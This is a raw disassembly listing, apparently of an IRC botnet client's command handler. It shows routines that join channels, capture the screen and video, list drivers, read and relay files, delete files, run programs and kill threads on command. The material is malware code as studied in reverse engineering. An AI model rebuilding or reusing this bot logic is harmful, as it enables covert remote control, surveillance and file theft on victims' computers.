lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_23B4]
push eax
push offset sub_416A7E
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_2230]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_409239
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset asc_42D204 ; "-"
loc_409205: ; CODE XREF: sub_40274D+69EAj
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_409214: ; CODE XREF: sub_40274D+69FFj
; sub_40274D+6AF4j
cmp [ebp+4Ch+var_C], ebx
jnz loc_404A79
push ebx
push [ebp+4Ch+var_4]
lea eax, [ebp+4Ch+Dst]
push eax
push [ebp+4Ch+Format]
push esi
jmp loc_404A71
; ---------------------------------------------------------------------------
loc_409231: ; CODE XREF: sub_40274D+6AF2j
push 32h
call ds:dword_42B014 ; Sleep
loc_409239: ; CODE XREF: sub_40274D+6AAAj
cmp [ebp+4Ch+var_2224], ebx
jz short loc_409231
jmp short loc_409214
; ---------------------------------------------------------------------------
loc_409243: ; CODE XREF: sub_40274D+4775j
; sub_40274D+478Cj
push edi
lea eax, [ebp+4Ch+Dst]
push offset aPartS_0 ; "PART %s"
push eax ; Dest
call _sprintf
push [ebp+4Ch+var_8] ; Str
call j__atol
add esp, 10h
loc_409260: ; CODE XREF: sub_40274D+6B55j
test eax, eax
jle loc_404979
push [ebp+4Ch+var_8] ; Str
call j__atol
cmp eax, 400h
pop ecx
jge loc_404979
jmp loc_409DC3
; ---------------------------------------------------------------------------
loc_409281: ; CODE XREF: sub_40274D+4747j
; sub_40274D+475Ej
push [ebp+esi+4Ch+var_98]
lea eax, [ebp+4Ch+Dst]
push edi
push offset aJoinSS_0 ; "JOIN %s %s"
push eax ; Dest
call _sprintf
push [ebp+4Ch+var_8] ; Str
call j__atol
add esp, 14h
jmp short loc_409260
; ---------------------------------------------------------------------------
loc_4092A4: ; CODE XREF: sub_40274D+4719j
; sub_40274D+4730j
push edi
lea eax, [ebp+4Ch+Dst]
push offset aNickS_0 ; "NICK %s"
push eax ; Dest
call _sprintf
mov esi, [ebp+4Ch+var_8]
push esi ; Str
call j__atol
add esp, 10h
test eax, eax
jle loc_404979
push esi ; Str
call j__atol
cmp eax, 400h
pop ecx
jge loc_404979
lea eax, [ebp+4Ch+Dst]
push eax ; Args
push offset aS_0 ; "%s\r\n"
push esi ; Str
call j__atol
imul eax, 234h
pop ecx
push dword_4444F4[eax] ; int
call sub_4011F5
push edi
push esi
push offset dword_42D1CC
jmp loc_409FB1
; ---------------------------------------------------------------------------
loc_40930C: ; CODE XREF: sub_40274D+46EBj
; sub_40274D+4702j
cmp [ebp+4Ch+var_18], ebx
jz loc_404979
push edi ; SubStr
push [ebp+4Ch+var_18] ; Str
call _strstr
mov esi, eax
cmp esi, ebx
pop ecx
pop ecx
jz short loc_40933B
push esi
lea eax, [ebp+4Ch+Dst]
push offset aModeS ; "MODE %s"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40933B: ; CODE XREF: sub_40274D+6BD7j
mov edi, [ebp+4Ch+var_8]
push edi ; Str
call j__atol
test eax, eax
pop ecx
jle loc_404979
push edi ; Str
call j__atol
cmp eax, 400h
pop ecx
jge loc_404979
lea eax, [ebp+4Ch+Dst]
push eax ; Args
push offset aS_0 ; "%s\r\n"
push edi ; Str
call j__atol
imul eax, 234h
pop ecx
push dword_4444F4[eax] ; int
call sub_4011F5
push esi
push edi
push offset dword_42D1A8
jmp loc_409FB1
; ---------------------------------------------------------------------------
loc_40938F: ; CODE XREF: sub_40274D+46BDj
; sub_40274D+46D4j
cmp [ebp+4Ch+var_18], ebx
jz loc_404979
push edi ; SubStr
push [ebp+4Ch+var_18] ; Str
call _strstr
mov esi, eax
cmp esi, ebx
pop ecx
pop ecx
jz loc_404979
mov edi, [ebp+4Ch+var_8]
push edi ; Str
call j__atol
test eax, eax
pop ecx
jle loc_404979
push edi ; Str
call j__atol
cmp eax, 400h
pop ecx
jge loc_404979
push esi ; Args
push offset aS_0 ; "%s\r\n"
push edi ; Str
call j__atol
imul eax, 234h
pop ecx
push dword_4444F4[eax] ; int
call sub_4011F5
push esi
push edi
push offset dword_42D18C
jmp loc_409FB1
; ---------------------------------------------------------------------------
loc_4093FB: ; CODE XREF: sub_40274D+468Fj
; sub_40274D+46A6j
cmp [ebp+4Ch+var_18], ebx
jz loc_404979
push [ebp+4Ch+var_8] ; SubStr
push [ebp+4Ch+var_18] ; Str
call _strstr
mov esi, eax
cmp esi, ebx
pop ecx
pop ecx
jz loc_404979
push esi ; Args
push offset aModeS_0 ; "MODE %s\r\n"
push [ebp+4Ch+arg_4] ; int
call sub_4011F5
push esi
push offset unk_42D164
jmp loc_409FD6
; ---------------------------------------------------------------------------
loc_409434: ; CODE XREF: sub_40274D+4661j
; sub_40274D+4678j
push dword ptr [ebp+4Ch+Args] ; Str2
push offset a332 ; "332"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_402B92
push edi ; Args
push offset aPartS_1 ; "PART %s\r\n"
push [ebp+4Ch+arg_4] ; int
call sub_4011F5
push [ebp+4Ch+var_8] ; Str
call j__atol
imul eax, 3E8h
add esp, 10h
push eax
call ds:dword_42B014 ; Sleep
push [ebp+esi+4Ch+var_98]
push edi ; Args
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+4Ch+arg_4] ; int
call sub_4011F5
push offset dword_42D144
call sub_417D70
jmp loc_409FDB
; ---------------------------------------------------------------------------
loc_409492: ; CODE XREF: sub_40274D+4633j
; sub_40274D+464Aj
cmp [ebp+4Ch+var_18], ebx
jz loc_404979
push [ebp+4Ch+var_8] ; Str
call _strlen
push [ebp+4Ch+var_10] ; Str
mov esi, eax
call _strlen
add eax, [ebp+4Ch+var_18]
push edi ; SubStr
lea eax, [eax+esi+2]
push eax ; Str
call _strstr
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_404979
push esi
lea eax, [ebp+4Ch+Dst]
push offset dword_42D87C ; Format
push eax ; Dest
call _sprintf
push ebx ; int
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push eax ; int
push [ebp+4Ch+var_8] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
push esi
push [ebp+4Ch+var_8] ; Args
push offset asc_42D128 ; "-"
call sub_417DE4
add esp, 2Ch
jmp loc_404979
; ---------------------------------------------------------------------------
loc_409504: ; CODE XREF: sub_40274D+4605j
; sub_40274D+461Cj
cmp [ebp+4Ch+var_18], ebx
jz loc_404979
push [ebp+4Ch+var_8] ; Str
call _strlen
push [ebp+4Ch+var_10] ; Str
mov esi, eax
call _strlen
add eax, [ebp+4Ch+var_18]
push edi ; SubStr
lea eax, [eax+esi+2]
push eax ; Str
call _strstr
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_404979
push ebx ; int
push ebx ; int
push esi ; int
push [ebp+4Ch+var_8] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
push esi
push [ebp+4Ch+var_8] ; Args
push offset asc_42D108 ; "-"
call sub_417DE4
add esp, 20h
jmp loc_404979
; ---------------------------------------------------------------------------
loc_40955E: ; CODE XREF: sub_40274D+45D7j
; sub_40274D+45EEj
cmp [ebp+4Ch+var_18], ebx
jz loc_402B92
push edi ; SubStr
push [ebp+4Ch+var_18] ; Str
call _strstr
cmp eax, ebx
pop ecx
pop ecx
jz loc_402B92
push eax ; int
push [ebp+4Ch+var_8] ; Str2
call sub_417C78
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+Dst]
push offset asc_42D0E8 ; "-"
push eax ; Dest
call _sprintf
add esp, 14h
jmp loc_404A5B
; ---------------------------------------------------------------------------
loc_40959F: ; CODE XREF: sub_40274D+45A9j
; sub_40274D+45C0j
push edi ; int
push [ebp+4Ch+var_8] ; int
push [ebp+4Ch+var_4] ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_41B065
loc_4095B1: ; CODE XREF: sub_40274D+2435j
add esp, 14h
jmp loc_402B92
; ---------------------------------------------------------------------------
loc_4095B9: ; CODE XREF: sub_40274D+456Ej
; sub_40274D+4583j
push [ebp+4Ch+var_8] ; SubStr
push [ebp+4Ch+arg_1C] ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jz loc_404979
mov esi, [ebp+esi+4Ch+Format]
cmp esi, ebx
jz short loc_409648
push esi ; SubStr
push [ebp+4Ch+var_18] ; Str
call _strstr
mov esi, eax
cmp esi, ebx
pop ecx
pop ecx
lea eax, [ebp+4Ch+Dst]
jz short loc_409636
push esi
push [ebp+4Ch+Format]
push dword ptr [ebp+4Ch+Args]
push [ebp+4Ch+Str2]
push offset aSSSS ; "%s %s %s :%s"
push eax ; Dest
call _sprintf
push 1FFh ; Count
lea eax, [ebp+4Ch+Dst]
push eax ; Source
push [ebp+4Ch+arg_0] ; Dest
call _strncpy
push esi
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+Dst]
push offset asc_42D0C0 ; "-"
push eax ; Dest
call _sprintf
add esp, 34h
inc [ebp+4Ch+arg_24]
jmp loc_4099EE
; ---------------------------------------------------------------------------
loc_409636: ; CODE XREF: sub_40274D+6E9Ej
push offset asc_42D090 ; "-"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp loc_4099EE
; ---------------------------------------------------------------------------
loc_409648: ; CODE XREF: sub_40274D+6E87j
push ebx ; int
push [ebp+4Ch+var_4] ; int
lea eax, [ebp+4Ch+Dst]
push [ebp+4Ch+arg_4]
push [ebp+4Ch+arg_1C]
push eax
call sub_41D9E5
add esp, 0Ch
push eax ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+Dst]
push offset asc_42D074 ; "-"
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 24h
jmp loc_4099EE
; ---------------------------------------------------------------------------
loc_40968E: ; CODE XREF: sub_40274D+4544j
; sub_40274D+4559j
push offset aScreen ; "screen"
push [ebp+4Ch+var_8] ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_4096E6
mov edi, [ebp+esi+4Ch+Format]
cmp edi, ebx
jz short loc_4096D3
push edi
call sub_417F75
cmp eax, 1
pop ecx
lea eax, [ebp+4Ch+Dst]
jnz short loc_4096CC
push edi
push offset asc_42D040 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp short loc_4096E6
; ---------------------------------------------------------------------------
loc_4096CC: ; CODE XREF: sub_40274D+6F6Cj
push offset unk_42D010
jmp short loc_4096DE
; ---------------------------------------------------------------------------
loc_4096D3: ; CODE XREF: sub_40274D+6F5Aj
push offset asc_42CFD4 ; "-"
lea eax, [ebp+4Ch+Dst]
loc_4096DE: ; CODE XREF: sub_40274D+6F84j
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_4096E6: ; CODE XREF: sub_40274D+6F52j
; sub_40274D+6F7Dj
push offset aDrivers ; "drivers"
push [ebp+4Ch+var_8] ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_409770
xor edi, edi
loc_4096FB: ; CODE XREF: sub_40274D+700Ej
push 1FFh
lea eax, [ebp+4Ch+var_5400]
push eax
push 0FFh
lea eax, [ebp+4Ch+var_4EF8]
push eax
push edi
call dword_44419C
test eax, eax
jz short loc_409757
lea eax, [ebp+4Ch+var_5400]
push eax
lea eax, [ebp+4Ch+var_4EF8]
push eax
push edi
lea eax, [ebp+4Ch+var_5D90]
push offset asc_42CFA4 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
push [ebp+4Ch+var_4] ; int
lea eax, [ebp+4Ch+var_5D90]
push eax ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
add esp, 28h
loc_409757: ; CODE XREF: sub_40274D+6FCFj
inc edi
cmp edi, 0Ah
jl short loc_4096FB
lea eax, [ebp+4Ch+Dst]
push offset asc_42CF7C ; "-"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_409770: ; CODE XREF: sub_40274D+6FAAj
push offset aFrame ; "frame"
push [ebp+4Ch+var_8] ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_4097FE
cmp [ebp+esi+4Ch+Format], ebx
jz short loc_4097EB
cmp [ebp+esi+4Ch+var_98], ebx
jz short loc_4097EB
mov edi, [ebp+esi+4Ch+var_94]
cmp edi, ebx
jz short loc_4097EB
mov eax, [ebp+esi+4Ch+var_90]
cmp eax, ebx
jz short loc_4097EB
push eax ; Str
call j__atol
pop ecx
push eax
push edi ; Str
call j__atol
pop ecx
push eax
push [ebp+esi+4Ch+var_98] ; Str
call j__atol
pop ecx
push eax
push [ebp+esi+4Ch+Format]
call sub_4181B2
add esp, 10h
test eax, eax
lea eax, [ebp+4Ch+Dst]
jnz short loc_4097E4
push [ebp+esi+4Ch+Format]
push offset asc_42CF48 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp short loc_4097FE
; ---------------------------------------------------------------------------
loc_4097E4: ; CODE XREF: sub_40274D+7081j
push offset unk_42CF14
jmp short loc_4097F6
; ---------------------------------------------------------------------------
loc_4097EB: ; CODE XREF: sub_40274D+703Aj
; sub_40274D+7040j ...
push offset asc_42CEDC ; "-"
lea eax, [ebp+4Ch+Dst]
loc_4097F6: ; CODE XREF: sub_40274D+709Cj
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_4097FE: ; CODE XREF: sub_40274D+7034j
; sub_40274D+7095j
push offset aVideo ; "video"
push [ebp+4Ch+var_8] ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_4099D0
mov eax, [ebp+esi+4Ch+Format]
cmp eax, ebx
mov [ebp+4Ch+var_20], eax
jz short loc_40989F
mov eax, [ebp+esi+4Ch+var_98]
cmp eax, ebx
mov [ebp+4Ch+arg_0], eax
jz short loc_40989F
mov eax, [ebp+esi+4Ch+var_94]
cmp eax, ebx
mov [ebp+4Ch+var_14], eax
jz short loc_40989F
mov edi, [ebp+esi+4Ch+var_90]
cmp edi, ebx
jz short loc_40989F
mov esi, [ebp+esi+4Ch+var_8C]
cmp esi, ebx
jz short loc_40989F
push esi ; Str
call j__atol
pop ecx
push eax
push edi ; Str
call j__atol
pop ecx
push eax
push [ebp+4Ch+var_14] ; Str
call j__atol
pop ecx
push eax
push [ebp+4Ch+arg_0] ; Str
call j__atol
pop ecx
push eax
push [ebp+4Ch+var_20]
call sub_4183AB
add esp, 14h
test eax, eax
lea eax, [ebp+4Ch+Dst]
jnz short loc_409895
push [ebp+4Ch+var_20]
push offset asc_42CEA8 ; "-"
loc_409887: ; CODE XREF: sub_40274D+6931j
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_4099D0
; ---------------------------------------------------------------------------
loc_409895: ; CODE XREF: sub_40274D+7130j
push offset unk_42CE68
jmp loc_4099C8
; ---------------------------------------------------------------------------
loc_40989F: ; CODE XREF: sub_40274D+70D1j
; sub_40274D+70DCj ...
push offset unk_42CE24
lea eax, [ebp+4Ch+Dst]
jmp loc_4099C8
; ---------------------------------------------------------------------------
loc_4098AF: ; CODE XREF: sub_40274D+3D58j
; sub_40274D+3D6Dj
push offset aR ; "r"
push [ebp+4Ch+var_8] ; char *
call _fopen
mov edi, eax
cmp edi, ebx
pop ecx
pop ecx
jz short loc_40992A
push edi ; File
mov esi, 200h
lea eax, [ebp+4Ch+Dst]
push esi ; MaxCount
push eax ; Buf
call _fgets
add esp, 0Ch
jmp short loc_409904
; ---------------------------------------------------------------------------
loc_4098DC: ; CODE XREF: sub_40274D+71B9j
push 1 ; int
push [ebp+4Ch+var_4] ; int
lea eax, [ebp+4Ch+Dst]
push eax ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
push edi ; File
lea eax, [ebp+4Ch+Dst]
push esi ; MaxCount
push eax ; Buf
call _fgets
add esp, 20h
loc_409904: ; CODE XREF: sub_40274D+718Dj
test eax, eax
jnz short loc_4098DC
push edi ; File
call _fclose
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+Dst]
push offset asc_42CE00 ; "-"
push eax ; Dest
call _sprintf
add esp, 10h
jmp loc_406C6B
; ---------------------------------------------------------------------------
loc_40992A: ; CODE XREF: sub_40274D+7175j
push [ebp+4Ch+var_8]
push offset unk_42CDDC
jmp loc_4076D4
; ---------------------------------------------------------------------------
loc_409937: ; CODE XREF: sub_40274D+3D2Ej
; sub_40274D+3D43j
cmp [ebp+4Ch+var_18], ebx
jz loc_404979
push [ebp+4Ch+var_8] ; SubStr
push [ebp+4Ch+var_18] ; Str
call _strstr
mov esi, eax
cmp esi, ebx
pop ecx
pop ecx
jz loc_404979
push offset asc_42CDD8 ; "\n"
push esi ; Dest
call _strcat
push esi ; Str
call sub_41C7BD
add esp, 0Ch
test eax, eax
lea eax, [ebp+4Ch+Dst]
jnz short loc_40997C
push offset unk_42CDAC
jmp short loc_4099C8
; ---------------------------------------------------------------------------
loc_40997C: ; CODE XREF: sub_40274D+7226j
push esi
push offset asc_42CD94 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp short loc_4099EE
; ---------------------------------------------------------------------------
loc_40998D: ; CODE XREF: sub_40274D+3D04j
; sub_40274D+3D19j
cmp [ebp+4Ch+var_18], ebx
jz loc_404979
push [ebp+4Ch+var_8] ; SubStr
push [ebp+4Ch+var_18] ; Str
call _strstr
cmp eax, ebx
pop ecx
pop ecx
jz loc_404979
push eax ; Format
call sub_41AD95
test eax, eax
pop ecx
lea eax, [ebp+4Ch+Dst]
jnz short loc_4099C3
push offset unk_42CD74
jmp short loc_4099C8
; ---------------------------------------------------------------------------
loc_4099C3: ; CODE XREF: sub_40274D+726Dj
push offset asc_42CD58 ; "-"
loc_4099C8: ; CODE XREF: sub_40274D+714Dj
; sub_40274D+715Dj ...
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_4099D0: ; CODE XREF: sub_40274D+70C2j
; sub_40274D+7143j
cmp [ebp+4Ch+var_C], ebx
jnz short loc_4099EE
push ebx ; int
push [ebp+4Ch+var_4] ; int
lea eax, [ebp+4Ch+Dst]
push eax ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
add esp, 14h
loc_4099EE: ; CODE XREF: sub_40274D+6EE4j
; sub_40274D+6EF6j ...
lea eax, [ebp+4Ch+Dst]
push eax
call sub_417D70
pop ecx
jmp loc_404979
; ---------------------------------------------------------------------------
loc_409A00: ; CODE XREF: sub_40274D+3CDAj
; sub_40274D+3CEFj
push 7Fh ; Count
push [ebp+4Ch+var_8] ; Source
lea eax, [ebp+4Ch+var_221C]
push eax ; Dest
call _strncpy
mov esi, [ebp+esi+4Ch+Format]
add esp, 0Ch
cmp esi, ebx
jz short loc_409A2E
push 7Fh ; Count
lea eax, [ebp+4Ch+var_219C]
push esi ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_409A2E: ; CODE XREF: sub_40274D+72CDj
push 7Fh ; Count
push [ebp+4Ch+Format] ; Source
lea eax, [ebp+4Ch+var_211C]
push eax ; Dest
call _strncpy
mov eax, [ebp+4Ch+arg_4]
push [ebp+4Ch+var_8]
mov [ebp+4Ch+var_2220], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_2098], eax
mov eax, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_2094], eax
lea eax, [ebp+4Ch+Dst]
push offset asc_42CD40 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 1Ch ; int
push eax ; Source
call sub_40AE85
add esp, 24h
mov [ebp+4Ch+var_209C], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_2220]
push eax
push offset sub_41DAA1
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_209C]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_409ADD
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset asc_42CD00 ; "-"
loc_409AC1: ; CODE XREF: sub_40274D+278Ej
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_406C6B
; ---------------------------------------------------------------------------
loc_409AD5: ; CODE XREF: sub_40274D+7396j
push 32h
call ds:dword_42B014 ; Sleep
loc_409ADD: ; CODE XREF: sub_40274D+7366j
cmp [ebp+4Ch+var_2090], ebx
jz short loc_409AD5
jmp loc_406C6B
; ---------------------------------------------------------------------------
loc_409AEA: ; CODE XREF: sub_40274D+3CB0j
; sub_40274D+3CC5j
push ebx ; Source
push [ebp+4Ch+Format] ; int
push [ebp+4Ch+arg_4] ; int
push [ebp+4Ch+var_8] ; int
call sub_412135
push [ebp+4Ch+var_8]
push offset dword_42CCE8
jmp loc_409FB1
; ---------------------------------------------------------------------------
loc_409B06: ; CODE XREF: sub_40274D+3C86j
; sub_40274D+3C9Bj
push 14h ; Size
lea eax, [ebp+4Ch+var_1D50]
push ebx ; Val
push eax ; Dst
call _memset
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+var_1D3C]
push offset aS ; "%s"
push eax ; Dest
call _sprintf
mov eax, [ebp+4Ch+arg_4]
mov [ebp+4Ch+var_1D58], eax
lea eax, [ebp+4Ch+var_D0]
push eax ; Format
lea eax, [ebp+4Ch+var_1C38]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_1BB0], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_1BAC], eax
lea eax, [ebp+4Ch+var_1C38]
push eax
lea eax, [ebp+4Ch+var_1D3C]
push eax
lea eax, [ebp+4Ch+Dst]
push offset asc_42CCC4 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 1Ah ; int
push eax ; Source
call sub_40AE85
add esp, 40h
mov [ebp+4Ch+var_1BB4], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_1D58]
push eax
push offset sub_418956
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_1BB4]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jz loc_402E72
jmp short loc_409BD0
; ---------------------------------------------------------------------------
loc_409BC8: ; CODE XREF: sub_40274D+7489j
push 32h
call ds:dword_42B014 ; Sleep
loc_409BD0: ; CODE XREF: sub_40274D+7479j
cmp [ebp+4Ch+var_1BA8], ebx
jz short loc_409BC8
jmp loc_408D10
; ---------------------------------------------------------------------------
loc_409BDD: ; CODE XREF: sub_40274D+3C5Cj
; sub_40274D+3C71j
push [ebp+4Ch+var_8]
call ds:dword_42B02C ; DeleteFileA
test eax, eax
jz short loc_409BF4
push [ebp+4Ch+var_8]
push offset dword_42CCA8
jmp short loc_409BFF
; ---------------------------------------------------------------------------
loc_409BF4: ; CODE XREF: sub_40274D+749Bj
push offset dword_42D4B8
call sub_41ACD0
push eax ; Format
loc_409BFF: ; CODE XREF: sub_40274D+74A5j
lea eax, [ebp+4Ch+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
loc_409C10: ; CODE XREF: sub_40274D+7595j
add esp, 10h
jmp loc_406C4D
; ---------------------------------------------------------------------------
loc_409C18: ; CODE XREF: sub_40274D+3C32j
; sub_40274D+3C47j
push [ebp+4Ch+var_8] ; Str
call j__atol
push eax
call sub_41C736
xor esi, esi
pop ecx
inc esi
pop ecx
push [ebp+4Ch+var_8]
cmp eax, esi
lea eax, [ebp+4Ch+Dst]
jnz short loc_409C3F
push offset unk_42CC84
jmp short loc_409C44
; ---------------------------------------------------------------------------
loc_409C3F: ; CODE XREF: sub_40274D+74E9j
push offset asc_42CC54 ; "-"
loc_409C44: ; CODE XREF: sub_40274D+74F0j
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+4Ch+var_C], ebx
jnz loc_406C6E
push ebx ; int
push [ebp+4Ch+var_4] ; int
lea eax, [ebp+4Ch+Dst]
push eax ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
add esp, 14h
jmp loc_406C6E
; ---------------------------------------------------------------------------
loc_409C74: ; CODE XREF: sub_40274D+3C08j
; sub_40274D+3C1Dj
push ebx ; int
push ebx ; int
push [ebp+4Ch+var_8] ; Str2
push [ebp+4Ch+var_4] ; int
push ebx ; Str
push [ebp+4Ch+arg_4] ; int
call sub_41C444
add esp, 18h
cmp eax, 1
push [ebp+4Ch+var_8]
jnz short loc_409C9A
push offset unk_42CC34
jmp loc_4076D4
; ---------------------------------------------------------------------------
loc_409C9A: ; CODE XREF: sub_40274D+7541j
push offset unk_42CC04
jmp loc_4076D4
; ---------------------------------------------------------------------------
loc_409CA4: ; CODE XREF: sub_40274D+3BDEj
; sub_40274D+3BF3j
mov esi, [ebp+4Ch+var_8]
push esi
call dword_44417C ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+4Ch+var_2DC], eax
jz short loc_409CE7
push 2
push 4
lea eax, [ebp+4Ch+var_2DC]
push eax
call dword_4441FC ; gethostbyaddr
cmp eax, ebx
jz short loc_409D02
push dword ptr [eax]
loc_409CD0: ; CODE XREF: sub_40274D+75B3j
push esi
lea eax, [ebp+4Ch+Dst]
push offset asc_42CBE4 ; "-"
push eax ; Dest
call _sprintf
jmp loc_409C10
; ---------------------------------------------------------------------------
loc_409CE7: ; CODE XREF: sub_40274D+756Aj
push esi ; Args
call dword_444168 ; gethostbyname
cmp eax, ebx
jz short loc_409D02
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_444188 ; inet_ntoa
push eax
jmp short loc_409CD0
; ---------------------------------------------------------------------------
loc_409D02: ; CODE XREF: sub_40274D+757Fj
; sub_40274D+75A3j
push offset unk_42CBBC
jmp loc_406C3F
; ---------------------------------------------------------------------------
loc_409D0C: ; CODE XREF: sub_40274D+3BB4j
; sub_40274D+3BC9j
push 7Fh ; Count
push [ebp+4Ch+var_8] ; Source
push [ebp+4Ch+arg_14] ; Dest
call _strncpy
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+Dst]
push offset asc_42CB94 ; "-"
push eax ; Dest
call _sprintf
add esp, 18h
jmp loc_40698D
; ---------------------------------------------------------------------------
loc_409D35: ; CODE XREF: sub_40274D+3B8Aj
; sub_40274D+3B9Fj
push 5
push ebx
push ebx
push [ebp+4Ch+var_8]
push offset aOpen ; "open"
push ebx
call dword_444214
test eax, eax
push [ebp+4Ch+var_8]
jz short loc_409D59
push offset unk_42CB74
jmp loc_4076D4
; ---------------------------------------------------------------------------
loc_409D59: ; CODE XREF: sub_40274D+7600j
push offset unk_42CB50
jmp loc_4076D4
; ---------------------------------------------------------------------------
loc_409D63: ; CODE XREF: sub_40274D+3B60j
; sub_40274D+3B75j
mov eax, [ebp+4Ch+var_8]
mov cl, [eax]
mov byte_43C08C, cl
movsx eax, byte ptr [eax]
push eax
push offset unk_42CB28
jmp loc_40697E
; ---------------------------------------------------------------------------
loc_409D7C: ; CODE XREF: sub_40274D+3B36j
; sub_40274D+3B4Bj
push [ebp+4Ch+var_8] ; Str
call j__atol
test eax, eax
pop ecx
jle loc_404979
push [ebp+4Ch+var_8] ; Str
call j__atol
cmp eax, 400h
pop ecx
jge loc_404979
push ebx ; Str1
push ebx ; int
lea eax, [ebp+4Ch+SubStr]
push 2 ; int
push eax ; Dest
call sub_40AB83
push eax
lea eax, [ebp+4Ch+Dst]
push offset aNickS_0 ; "NICK %s"
push eax ; Dest
call _sprintf
add esp, 1Ch
loc_409DC3: ; CODE XREF: sub_40274D+6B2Fj
lea eax, [ebp+4Ch+Dst]
push eax ; Args
push offset aS_0 ; "%s\r\n"
push [ebp+4Ch+var_8] ; Str
call j__atol
imul eax, 234h
pop ecx
push dword_4444F4[eax] ; int
call sub_4011F5
loc_409DE9: ; CODE XREF: sub_40274D+28AEj
; sub_40274D+28C1j ...
add esp, 0Ch
jmp loc_404979
; ---------------------------------------------------------------------------
loc_409DF1: ; CODE XREF: sub_40274D+3B0Cj
; sub_40274D+3B21j
mov esi, [ebp+4Ch+var_8]
push esi ; Str
call j__atol
test eax, eax
pop ecx
jle loc_402B92
push esi ; Str
call j__atol
cmp eax, 400h
pop ecx
jge loc_402B92
push offset aQuitLater ; "QUIT :later\r\n"
push esi ; Str
call j__atol
imul eax, 234h
pop ecx
push dword_4444F4[eax] ; int
call sub_4011F5
pop ecx
pop ecx
push 1F4h
call ds:dword_42B014 ; Sleep
push esi ; Str
call j__atol
imul eax, 234h
pop ecx
push dword_4444F4[eax]
call dword_444218 ; closesocket
push [ebp+4Ch+var_1C]
push esi ; Str
call j__atol
imul eax, 234h
pop ecx
push dword_4444FC[eax]
call ds:dword_42B028 ; TerminateThread
push esi ; Str
call j__atol
imul eax, 234h
push esi ; Str
mov dword_4444FC[eax], ebx
call j__atol
imul eax, 234h
pop ecx
pop ecx
mov byte ptr dword_4442E8[eax], bl
jmp loc_402B92
; ---------------------------------------------------------------------------
loc_409E9F: ; CODE XREF: sub_40274D+3AE2j
; sub_40274D+3AF7j
push [ebp+4Ch+var_8] ; Str2
push offset aAll ; "all"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_409ED0
call sub_40AFF6
cmp eax, ebx
jle short loc_409EC6
push eax
push offset unk_42CAFC
jmp loc_407CB2
; ---------------------------------------------------------------------------
